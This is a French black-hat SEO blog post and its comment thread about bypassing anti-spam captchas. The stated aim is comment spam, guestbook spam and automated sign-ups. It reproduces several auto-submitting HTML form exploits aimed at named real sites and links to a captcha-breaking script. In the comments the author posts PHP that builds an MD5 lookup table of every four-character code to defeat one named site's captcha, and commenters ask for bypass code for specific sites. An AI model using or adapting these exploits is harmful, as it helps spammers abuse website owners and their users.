Formation référencement

Bypass Captcha : petit tour d’horizon des techniques pour contourner les captchas

Ecrit par admin le Mardi 25 décembre 2007 à 19:38 - Catégorie Captchas,Outils de spam,Sécurité Internet et SEO

Comment outrepasser / bypasser les codes captchas antispam (en dehors des solutions OCR) ?

Le but de passer des captchas est bien sûr le spam de commentaires de blogs, de sites web…, le spam des guestbooks, l’inscription automatique sur des sites web… Il existe 3 façons pour bypasser les codes captchas antispam :

1 – Traitement OCR (Optical Character Recognition) = Reconnaissance optique de caractères.

2 – Faire traiter ces captchas par des internautes à leur insu.

3 – Passer par les failles présentes sur ces captchas (XSS, CSRF, sessions non fermées, captchas en clairs dans code source, captchas encodés en MD5 dans le source, captchas dont les différentes combinaisons sont connues/limitées et donc listables…).

angelina jolie wet shirt I beat the captcha
Plus de photos de Angelina Jolie

Je suis tombé sur plusieurs articles intéressants, le premier est l’article ou plus précisement le script d’un hackeur nommé G-Brain qui propose une solution PHP (utilise les fonctions de la librairie GD) pour bypasser les captchas.

Le script est en téléchargement ici : http://www.g-brain.net/projects/captchapwn/captchapwn_php.txt. Le script n’est pas au point mais prouve que sa méthode fonctionne.

Le second article : http://websecurity.com.ua/category/mobic/ présente une série de failles de sécurité (XSS, CSRF…) permettant de bypasser des captchas couramment utilisés, 32 captchas bypassés au total.

Voici quelques exemples de failles trouvées par cet auteur dont je salue l’excellent travail au passage (Good job man for mobic and moseb ! ;) ) :

Script : Math Comment Spam Protection CAPTCHA :

<html>
<head>
<title>MoBiC-23: Math Comment Spam Protection CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<!-- <body onLoad="document.hack.submit()"> -->
<body>
<form name="hack" action="http://site/wp-comments-post.php" method="post">
<input type="hidden" name="author" value="test" />
<input type="hidden" name="email" value="test@test.test" />
<input type="hidden" name="url" value="http://websecurity.com.ua" />
<input type="hidden" name="comment" value="Captcha bypass test." />
<input type="hidden" name="comment_post_ID" value="3" />
<input type="hidden" name="mcspvalue" value="11" />
<input type="hidden" name="mcspinfo" value="8a09f" />
</form>
</body>
</html>

Le même code sur un exemple concret :

<html>
<head>
<title>MoBiC-23: tehposse.org CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://www.tehposse.org/brandon/wordpress/wp-comments-post.php" method="post">
<input type="hidden" name="author" value="Test" />
<input type="hidden" name="email" value="test@test.test" />
<input type="hidden" name="url" value="http://websecurity.com.ua" />
<input type="hidden" name="comment" value="Captcha bypass test." />
<input type="hidden" name="comment_post_ID" value="121" />
<input type="hidden" name="mscpvalue" value="13" />
<input type="hidden" name="mscpinfo" value="c7b00" />
</form>
</body>
</html>

Autre type de captcha, identifier le mot lié à une série image :
http://www.captcha.net/cgi-bin/esp-pix?another=Take+another+test

Facile à bypasser car il suffit de passer le même champs hidden et le même mot :

Par exemple il y a un champs hidden dans le formulaire : 0.640406482693837 :

qui correspond au mot volcano.

<html>
<head>
<title>MoBiC-30: ESP-PIX CAPTCHA bypass exploit (C) 2007 MustLive. 
 
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://www.captcha.net/cgi-bin/post-query-pix-esp" 
 
method="post">
<input type="hidden" name="tag" value="0.640406482693837">
<input type="hidden" name="words" value="volcano">
</form>
</body>
</html>

Autre exemple différent : Inscription auto à PHPnuke
http://phpnuke.org/modules.php?name=Your_Account

<html>
<head>
<title>MoBiC-10 Bonus: phpnuke.org CAPTCHA bypass exploit (C) 2007 MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://phpnuke.org/modules.php?name=Your_Account" method="post">
<input type="hidden" name="username" value="Test2008123">
<input type="hidden" name="user_email" value="test2008123@gmail.com">
<input type="hidden" name="user_password" value="2008123">
<input type="hidden" name="user_password2" value="2008123">
<input type="hidden" name="op" value="finish">
</form>
</body>
</html>

D’autres scripts de captcha ont les codes présents dans le source en clair ou crypté :

Certains laissent carrément le captcha en clair dans le code source ou le crypte en md5 ou l’encode en base64… Je n’irai pas plus loin, ce genre de captcha est trop simple à passer.

Exemple ce script de guestbook : http://actif-video.chez-alice.fr/index.php (captcha en clair dans le code)

Exemple captcha MD5 dans le source : http://www.keyworddiscovery.com/search.html

Conclusion : Cet article est juste une ébauche des différentes techniques permettant de passer les code captchas antispam sans utiliser de logiciels de traitement OCR.

Edition du 17 janvier 2008 :
J’ai écrit un second article sur le sujet : Pourquoi les captchas basés sur les questions, les calculs ne sont pas fiables ?

P.S : vous pouvez aussi lire ces articles en anglais :
http://www.slightlyshadyseo.com/?p=25

http://www.puremango.co.uk/cm_breaking_captcha_115.php (explique que les sessions sont rarement détruites lorsque l’on saisit correctement un captcha, donc on peut réutiliser le même code ensuite…)

Articles liés :

Commentaires (18)

Catégorie: Captchas,Outils de spam,Sécurité Internet et SEO


18 Commentaires

Commentaire par Lionel

Mercredi, 26 décembre , 2007 à 18:06

Pas compris pkoi le md5 présentait un problème…
Ce n’est pas réversible un md5 ?
On peut effectivement par contre constituer un dictionnaire pour attaquer le dit site.
Mais si ce site décide d’ajouter un salt comme l’heure (aussi en hidden) et une secret passphrase, il peut avoir un md5 variable pour le même mot, et donc le dictionnaire tombe à l’eau…

Commentaire par fred

Mercredi, 26 décembre , 2007 à 22:40

Perso j’utilise un captcha de ma sauce, crypté dans le code source, mais avec un grain de sable basé sur la date, qui ne laisse au captcha qu’une validité de 5 minutes. Est ce toujours aussi trivial à bypasser pas la méthode n°3 ?

Commentaire par admin

Jeudi, 27 décembre , 2007 à 4:46

Nous sommes d’accord, dès que l’on ajoute un salt c’est bon.

Mais si je prend cet exemple : http://www.keyworddiscovery.com/search.html

Le code du captcha est en MD5 dans le code source, et il est composé de 4 lettres et chiffres donc facile de mettre toutes les combinaisons possibles en base de données, exemple :

<code><?php
$creation_table = 1;
//connection au serveur
$cnx = mysql_connect('localhost', 'root', '');
//sélection de la base de données:
$db  = mysql_select_db( "kwd" ) ;
 
//********* Création de la table *********
if ($creation_table == 1) {
	$sql2="CREATE TABLE IF NOT EXISTS captcha_kwd (
	`id` INT( 20 ) NOT NULL AUTO_INCREMENT ,
	`md5` VARCHAR( 255 ) NOT NULL ,
	`code` VARCHAR( 255 ) NOT NULL ,
	PRIMARY KEY ( `id` ) 
	)";
$res2=mysql_query($sql2)or die("Echec création table captcha_kwd."); 
}
/* creation de la table
CREATE TABLE `captcha_kwd` (
	`id` INT( 20 ) NOT NULL AUTO_INCREMENT ,
	`md5` VARCHAR( 255 ) NOT NULL ,
	`code` VARCHAR( 255 ) NOT NULL ,
PRIMARY KEY ( `id` ) 
) TYPE = MYISAM ;
*/
 
 
      $letter = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q' , 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z');
      $num = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
      $carac = array_merge($letter, $num);
 
      $nbr_carac = count($carac);
 
      $result = array();
      for ( $a=0; $a<$nbr_carac; $a++ )
      { 
         for ( $b=0; $b<$nbr_carac; $b++ )
         {
            for ( $c=0; $c<$nbr_carac; $c++ )
            {
               for ( $d=0; $d<$nbr_carac; $d++ )
					{                  
					   $base_tmp = $carac[$a] . $carac[$b] . $carac[$c] . $carac[$d];
 
					   $base_md5 = md5(trim($base_tmp));
					   //echo $base_md5 . ' => ' . $base_tmp . '<br />';
							$sql = "INSERT  INTO captcha_kwd (md5, code) VALUES ('$base_md5', '$base_tmp')" ;
						$requete = mysql_query($sql, $cnx) or die( mysql_error() ) ;
 
 
					}
            }
         }
 
      }
?>
</code>

Commentaire par ranks

Vendredi, 28 décembre , 2007 à 18:27

Il suffit qu’ils rajoutent 2 ou 3 lettres supplémentaires et tout et multiplié ;-) ça va faire chauffer du processeur !

Commentaire par admin

Lundi, 14 janvier , 2008 à 4:01

Vrai :lol:

Commentaire par Speaplyemesty

Mercredi, 6 février , 2008 à 14:59

Hello!
Nice site ;)
Bye

Commentaire par admin

Mercredi, 6 février , 2008 à 21:59

Thanks Speaplyemesty, nice to see people from Russia here ;)

Commentaire par Bert

Vendredi, 27 juin , 2008 à 0:28

Kikoo,

Petite mise à jour : l’url http://g-brain.sesoyo.com/code/captchapwn-php.txt présentée dans cet article n’est plus d’actualité, j’ai un poil « galéré » pour retrouver la bonne et la voici : http://www.g-brain.net/projects/captchapwn/captchapwn_php.txt

Bises all ;)

Commentaire par admin

Vendredi, 27 juin , 2008 à 9:48

Mdr Bert ;)

Merci pour le bon lien, je mets à jour l’article ;)

Pour les captchas, j’ai mis un pote sur le coup, tu bosses dessus ou fait bosser Sto** ?

Si tu veux je peux te passer un autre bout de code fait par un spanish qui permet de bypass le captcha des annuaires utilisables, myphpannuaire et categorizator, qui utilisent tous le même captcha antispam. J’ai pas réussi à le faire fonctionner mais un tueur en php devrait y arriver…

Commentaire par WebMan

Mercredi, 2 juillet , 2008 à 17:52

Salut !

Je suis justement en train de chercher des moyens de bypasser les captcha d’annuaires en vain, pourrais tu communiquer le code que tu as trouvé ?

Merci :)
P.S: super site, j’y ai trouvé une vrai mine d’infos ;)

Commentaire par admin

Vendredi, 1 août , 2008 à 19:58

Hello WebMan, oui je veux bien te le transmettre, si tu t’engages à faire un retour (en privé bien sûr) si tu parviens à un résultat ;)

Commentaire par WebMan

Samedi, 2 août , 2008 à 3:13

Salut,

Merci de ta réponse, tu peux me l’envoyer via l’email renseigné dans ce message que tu dois avoir, j’essayerais de voir si je peux arriver à un résultat et bien sur je te communiquerais mes résultats, voir mes améliorations/modifications, cela va de sois ;)

Merci d’avance :)

Commentaire par WebMan

Mercredi, 8 octobre , 2008 à 17:51

Salut,

Je n’ai pas encore reçu le script de bypass, voir si j’ai moyen de le faire fonctionner :)
Pourrais tu me le transmettre ?

Merci d’avance ;)

Commentaire par Xiu

Dimanche, 16 novembre , 2008 à 3:56

Bonjour, très intéressant, je cherche à passer le captcha de ce site :
-https://www.dofus.com/fr/creer-un-compte

Pouvez vous m’aider ?
Contacter moi sur msn Ou par mail

Merci bien

Commentaire par Maximedt

Mardi, 23 décembre , 2008 à 1:22

Salut à tous,
Je suis aussi a la recherche de ByPass pour les captchas des annuaires, si vous avez ça, ce serait top !
Merci d’avance
ps : je peux transmettre mes retours si j’y arrive même si je suis pas un boss du PHP :)

Commentaire par Bypass_help

Dimanche, 20 septembre , 2009 à 17:53

Bonjour, avez vous une solution pour by passer ce captcha s’il vous plait ?

Commentaire par OXO

Jeudi, 10 décembre , 2009 à 2:45

pfff moi je connais le Qbasic
alors faites gaffe
j’ai déja programmé
HI3fois

Commentaire par [F]ab

Lundi, 19 avril , 2010 à 22:21

Hello tout le monde !

Je me permets de relancer un peu le sujet à savoir si l’un d’entre vous à une solution pour contourner les Captcha des annuaires Categorizator et/ou Freeglobes tout cela en php…

Je ne suis pas un dieu du code mais je pourrais facilement intégrer ça dans un script de soumission automatique ou quelque chose du genre qui pourrait faciliter le travail par la suite… :)

Tenez-moi au courant.

A++

Les commentaires sont fermés pour cet article.



SEO BLACKOUT

Site web dédié aux techniques de référencement et de positionnement de sites web sur Google.

Certaines parties du site sont en accès restreint, ces espaces sont réservés à la SEO Black Hat Team.


Don't Be Evil !